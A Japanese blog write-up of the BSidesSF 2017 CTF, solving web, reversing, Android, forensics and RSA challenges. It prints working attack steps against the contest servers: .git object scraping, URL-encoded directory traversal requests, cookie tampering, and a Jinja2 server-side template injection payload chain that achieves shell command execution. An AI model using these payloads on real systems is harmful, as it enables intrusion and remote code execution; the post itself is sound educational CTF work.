jtwp470’s blog

日記とかプヨグヤミングとか

BSidesSF CTF Writeup

BSidesSF CTFにチームg0tiu5aで参加していました.このCTFはBSidesSFというカンファレンス中に開催されているものらしく一部問題は会場にいないと解くことが出来ないというような問題でした.今週末にあった他のCTFと比べ,時間は全然取れませんでしたが(月曜日はほぼなにもしてない)いろんな問題を解くだけでなく,個人的に学びも得られたよいCTFでした.

bsidessf.com

最終的な順位は73位で得点は1499 pt でした.

f:id:jtwp470:20170214111350p:plain

あと1問でWebが全完だったのに悔しい〜 f:id:jtwp470:20170214111616p:plain

以下からWriteupです.

Web

the-year-2000 (100 pt)

/.git があるので頑張ってダウンロードします./.git自体は403が返ってきてしまうため,wget --mirror等が使えず諦めてGitのローカルリポジトリにあるようなディレクトリを片っ端から漁っていきました.

はじめに/.git/refs/heads/master をよみハッシュから良い感じの場所に配置するものを以下のように書きました.

dll () {
        arg=$1
        f="${arg:0:2}"
        l="${arg:2}"
        mkdir $f
        curl http://theyear2000.ctf.bsidessf.net/.git/objects/$f/$l -o $f/$l
        git cat-file -p $arg
}
$ dll 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30
...
$ git cat-file -p 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30
tree f3a3f88425975542bb0058651867f8090fed250f
parent e039a6684f53e818926d3f62efd25217b25fc97e
author Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853672 +0000
committer Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853672 +0000

Wooops, didn't want to commit that. Rebased.

これをひたすら繰り返していくとログは2つになります.

$ git log
commit 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30
Author: Mark Zuckerberg <thezuck@therealzuck.zuck>
Date:   Sat Feb 11 22:54:32 2017 +0000

    Wooops, didn't want to commit that. Rebased.

commit e039a6684f53e818926d3f62efd25217b25fc97e
Author: Mark Zuckerberg <thezuck@therealzuck.zuck>
Date:   Sat Feb 11 22:54:21 2017 +0000

    First commit on my website

前後2つのコミットを比較してもフラグらしきものは見つかりません.

$ git diff HEAD~1
diff --git a/index.html b/index.html
index 7c57d17..e16b652 100644
--- a/index.html
+++ b/index.html
@@ -15,7 +15,7 @@ pre {
 </style>
 </head>
 <body>
-<h1>Welcome to my homepage!!!!</h1>
+<h1>Welcome to my homepage, there are no flags here.!!!!</h1>
 <hr>
 <p>I made this website all by myself using these tools
 <ul>

そこでコミットログを読んでいるとrebaseしたといっているのでreflogが残っているのではないかと考えます. このようなGitの履歴はすべて.git/logsにありますが探していませんでした.

ダウンロードしてくると次のような値が出てくる.

$ cat .git/logs/HEAD
0000000000000000000000000000000000000000 e039a6684f53e818926d3f62efd25217b25fc97e Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853661 +0000   commit (initial): First commit onmy website
e039a6684f53e818926d3f62efd25217b25fc97e 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0 Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000   commit: Fixed a spelling error
9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0 e039a6684f53e818926d3f62efd25217b25fc97e Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853668 +0000   reset: moving to HEAD~1
e039a6684f53e818926d3f62efd25217b25fc97e 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30 Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853672 +0000   commit: Wooops, didn't want to commit that. Rebased.
$ git cat-file -p 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0
tree bd72ee2c7c5adb017076fd47a92858cef2a04c11
parent e039a6684f53e818926d3f62efd25217b25fc97e
author Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000
committer Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000

Fixed a spelling error

$ git cat-file -p bd72ee2c7c5adb017076fd47a92858cef2a04c11
100644 blob 7baff32394e517c44f35b75079a9496559c88053    index.html

$ git cat-file -p 7baff32394e517c44f35b75079a9496559c88053
...
Your flag is... FLAG:what_is_HEAD_may_never_die

Flag: FLAG:what_is_HEAD_may_never_die

こういうGitリポジトリ系多い気がするので頑張って漁るツール書こうかなと思いました.

easyauth (30 pt)

普通にguestでログインしてクッキー内のusernameをadministratorに書き換えるだけ.

Flag: FLAG:0076ecde2daae415d7e5ccc7db909e7e

Zumbo 1 (20 pt)

すごく勉強になったZumboシリーズ.はじめディレクトリトラバーサルが全然できず死んでいたのですがよく考えたら/をurlencodeしていなかったorz

$ curl "http://zumbo-8ac445b1.ctf.bsidessf.net/%2e%2e%2f/code/server.py"

ソースコードを得てその中にflag1があります.

Flag: FLAG: FIRST_FLAG_WASNT_HARD

Zumbo 2 (100 pt)

先程取得したソースコードは以下です.

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672


@app.route('/<path:page>')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

@app.route('/')
def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD'
    with open('/flag') as f:
            flag2 = f.read()
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"
    sys.stdout.flush()
    app.run(host="0.0.0.0")

flag2は /flagにあるようですね.これよりまたディレクトリトラバーサルします.

$ curl "http://zumbo-8ac445b1.ctf.bsidessf.net/%2e%2e%2f/flag"
FLAG: RUNNER_ON_SECOND_BASE

<!-- page: ..//flag, src: /code/server.py -->

Flag: FLAG: RUNNER_ON_SECOND_BASE

Zumbo 3 (250 pt)

さて,Zumbo 3が一番大変でしたが一番勉強になりました.

flag3は flag3 = requests.get('http://vault:8080/flag').text となっており内部で8080番のHTTPサーバーからフラグを読み出す必要があります. そういえば昔HackerNewsか何かでFlaskでよく使われるテンプレートエンジンJinja 2にはサーバーサイドテンプレートインジェクションの脆弱性があるぞと言うような記事を読み色々と調べてみたところ,それらしき記事を見つけました.

これらを読んでいくと外部からJinja 2のテンプレート{{ }}の中に文字を入力できるとヤバイぞということがわかりました. 今回では

template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)

の部分がやばいわけです.(pageは外部から来ますからね)

試しに{{10+30}}を入れてみます.

$ curl "http://zumbo-8ac445b1.ctf.bsidessf.net/$(urlencode {{10+30}})"
[Errno 2] No such file or directory: u'40'
<!-- page: 40, src: /code/server.py -->

やっぱり.そこで調べた方法を元にPythonのコードをサーバー側に配置し任意のPythonコードを実行することにします.

まず

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mocho.cfg', 'w').write('from subprocess import check_output;RUNCMD = check_output') }}

をurlencodeしたものをGETリクエストで投げます. 次に

{{ config['RUNCMD']('/usr/bin/curl http://vault:8080/flag',shell=True) }}

をurlencodeしたものでGETリクエストを投げれば何度かに1度成功します. (多分ですが裏がgunicornで複数プロセス立ち上がっているため1度目に成功したプロセスに2度め当たるまで500が返ってくるのだと思います)

Flag: FLAG: BRICK_HOUSE_BEATS_THE_WOLF

いやぁサーバーサイドテンプレートインジェクション… 覚えましたし

Reversing

Skipper (75 pt)

バイナリファイルを読むと 0x8048a63からフラグを出力する関数みたいなのがあるのでそこまでGDBで飛びます.

gdb-peda$ start
gdb-peda$ set $eip=0x8048a63
gdb-peda$ c
Continuing.
Result: FLAG:f51579e9ca38ba87d71539a9992887ff
[Inferior 1 (process 12221) exited normally]
Warning: not running or target is remote

Flag: FLAG:f51579e9ca38ba87d71539a9992887ff

Easy (10 pt)

stringsするだけ問.

$ strings easy-64 | grep FLAG
FLAG:db2f62a36a018bce28e46d976e3f9864

Flag: FLAG:db2f62a36a018bce28e46d976e3f9864

Pinlock (150 pt)

Androidの実行形式であるapkファイルが渡されます. デコンパイルしてソースコードを読むと何かDBに詰まったデータが暗号化されて保存されているみたいです. VM上で実行してみるとpinを入力せよとなっています.

DB上でpinとしてSHA-1ハッシュで保存されていた値があったのでそれを検索してみたところ,7498であることが判明しました. しかしこの値で解読してもフラグが出てきません.よく見ると内部のCryptoUtilsは第1引数の値によって鍵が異なるようです.もう一度DBを漁ると別の値を見つけました.

Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g=

そこでこれを内部で書かれているような処理で解読します. (以下はJavaのコード)

import java.security.MessageDigest;
import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

public class Solver {
    public static void main(String[] args) throws Exception {
        // String pin = "d8531a519b3d4dfebece0259f90b466a23efc57b";
        String pin = "7498";
        // String secret = "hcsvUnln5jMdw3GeI4o/txB5vaEf1PFAnKQ3kPsRW2o5rR0a1JE54d0BLkzXPtqB";
        String secret = "Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g=";
        // setText(new CryptoUtilities("v1", pin).decrypt(new DatabaseUtilities(getApplicationContext()).fetchSecret()));
        // decrypt
        // 1. cipher to base64 decode
        byte[] ciphertextBytes = Base64.getDecoder().decode(secret);
        // 2. get key
        // SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(MessageDigest.getInstance("SHA-1").digest("t0ps3kr3tk3y".getBytes("UTF-8")), 16), "AES");

        byte[] salt = "SampleSalt".getBytes();
        SecretKeySpec key = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(pin.toCharArray(), salt, 1000, 0x80)).getEncoded(), "AES");
        // SecretKeySpec key = new SecretKeySpec(secret.getBytes("UTF-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, key);
        System.out.println(new String(cipher.doFinal(ciphertextBytes), "UTF-8"));
    }
}

するとFlagが得られます.

Flag: Flag:OnlyAsStrongAsWeakestLink

時間があれば以下の問題にも取り組みたかったorz

  • Easyarm
  • Flag Receiver
  • Skipper 2

Forensics

easycap (40 pt)

Wiresharkで開いてFollow TCP Streamだけで解ける問題.

Flag: FLAG:385b87afc8671dee07550290d16a8071

Crypto

vhash (450 pt)

こんな配点が高いので無視していたんですが150チーム近く解いていたので簡単なのでは? と思いトライ. コードを読みつつWeb側での反応を見ているとどんな時刻でも同じハッシュ値が帰ってきている事がわかりました. そこでどっかのWeb問でやったようにusernameをadminに変えてあげるとFlagが出ます.

Flag: FLAG:180e2300112ef5a4f23c93cfdec8d780

はじめ雰囲気的にLength Extension Attack系やろ〜と思っていたのですがどうやらそれはfixedのほうみたいですね.

[]root (250 pt)

Wiresharkで追いかけてみるとHTTPS通信のパケットのようです.証明書の部分だけ抜き取って公開鍵を見てみます.

$ openssl x509 -in e_corp.der -inform der -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            9e:6e:0d:aa:09:10:fa:fb
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, ST=New York, L=New York, O=E Corp, CN=pki.e-corp.com/emailAddress=pki@e-corp.com
        Validity
            Not Before: Feb  1 00:39:00 2017 GMT
            Not After : Feb  1 00:39:00 2018 GMT
        Subject: C=US, ST=New York, L=New York, O=E Corp, CN=pki.e-corp.com/emailAddress=pki@e-corp.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (4103 bit)
                Modulus (4103 bit):
                    72:6f:6f:74:00:00:00:00:00:00:00:00:00:00:00:
                    00:00:00:00:00:00:1b:00:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:ff:77:77:77:7b:00:00:00:
                    00:00:00:00:00:1f:ff:ff:ff:ff:ff:fb:00:00:00:
                    00:00:00:00:00:1f:ff:ff:ff:ff:fb:00:00:00:00:
                    00:00:00:00:00:1f:ff:ff:ff:ff:fb:00:00:00:00:
                    00:00:00:00:00:1f:ff:ff:ff:ff:ff:fb:00:00:00:
                    00:00:00:00:00:1f:ff:ff:22:22:22:2b:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00:
                    26:52:93:c4:42:2b:e3:53:26:38:fe:eb:2a:63:5e:
                    86:5e:5b:cc:d4:86:2d:14:91:f8:e4:6e:d4:1a:fd:
                    ab:32:ab:1e:91:3c:29:6c:45:a7:23:a3:71:cc:4a:
                    d2:18:d2:73:a4:94:ac:50:1a:1c:67:75:76:b8:4d:
                    3a:17:00:b2:4e:38:f3:d7:c8:09:0c:95:27:67:f8:
                    a9:da:53:2e:b4:49:6a:95:3f:a2:b2:64:1f:93:af:
                    58:32:1e:49:1a:d6:b3:e1:f6:60:0e:a1:75:76:35:
                    a2:d4:75:62:df:f2:f2:45:bf:c8:ed:51:14:20:93:
                    1d:e2:46:d5:63:34:d8:89:7d:64:65:b2:27:f6:c0:
                    95:ec:e1:ad:99:4c:75:51:f0:8d:bc:21:f8:b4:06:
                    91:ee:51:f5:f7:2d:05:2d:93:52:06:2f:90:b0:e7:
                    c5:2c:2e:b1:81:96:c2:c9:85:10:1a:f4:ea:c6:74:
                    99:39:6c:62:41:ad:4f:24:39:ed:11:f8:7d:67:e7:
                    3a:23:9b:86:5c:45:d6:5a:61:cf:0f:56:08:2d:e8:
                    31:b9:7f:b2:8a:e8:22:2a:71:95:e0:ec:06:c0:82:
                    81:ff:c1:6e:71:06:e7:7e:68:b8:c4:51:04:24:be:
                    eb:55:82:fe:21:cc:34:5f:53:53:46:82:b7:5c:36:
                    8d:73:c9
                Exponent: 31337 (0x7a69)
...

公開鍵4103ビット,Exponentが31337なる怪しい鍵が出てきます.前半部が0やfなどや秘密鍵の大きさが2のべき乗でないなどからこの鍵自体の脆弱性を疑いました. ひとまず検索してみますが既知の弱い鍵などではないようです. そこでFermat法を用いて素因数分解を試みると1秒も経たずに成功しました.

下位5桁が1893319973と滅茶苦茶隣り合った素数でした. これを用いてrsatoolを使ってPEMキーを生成します.気をつける点としてはe = 31337という点でしょうか(これを忘れて1時間溶かした)

最後にWiresharkに読み込ませ通信を読んでみます.

f:id:jtwp470:20170215001506p:plain

レスポンスの後半がFlagでした.

Flag: when_solving_problems_dig_at_the_roots_instead_of_just_hacking_at_the_leaves

鍵長は長くて(見た感じ素因数分解が現実的な時間で終わらなそうな公開鍵でも)場合によってはきっちり解けるという問題で勉強になりました.

また,17チームしか解けていない問題を解けたので個人的には大満足 v(´∀`*v)ピース

まとめ

時間もほとんど取れず1人でただひたすら空き時間を見つけては問題を解くというようなスタイルでやっていたので普通にきつかったですね. Harekazeに所属しながらお前どっちでCTFやってんねんという指摘がありますが個人的にでかくてマシなCTFはHarekazeで,Harekazeでも出そうになかったりクソっぽいCTF,または1人でやりたいなというときなどはこっち(g0tiu5a)で出場していこうかなと思います.

また今回は1人でやっていたのですがPwnだけは手を付けられんかったぁorz.マジで最後の砦感満載なPwnを何とかしたいです.

終わりだよ〜(○・▽・○)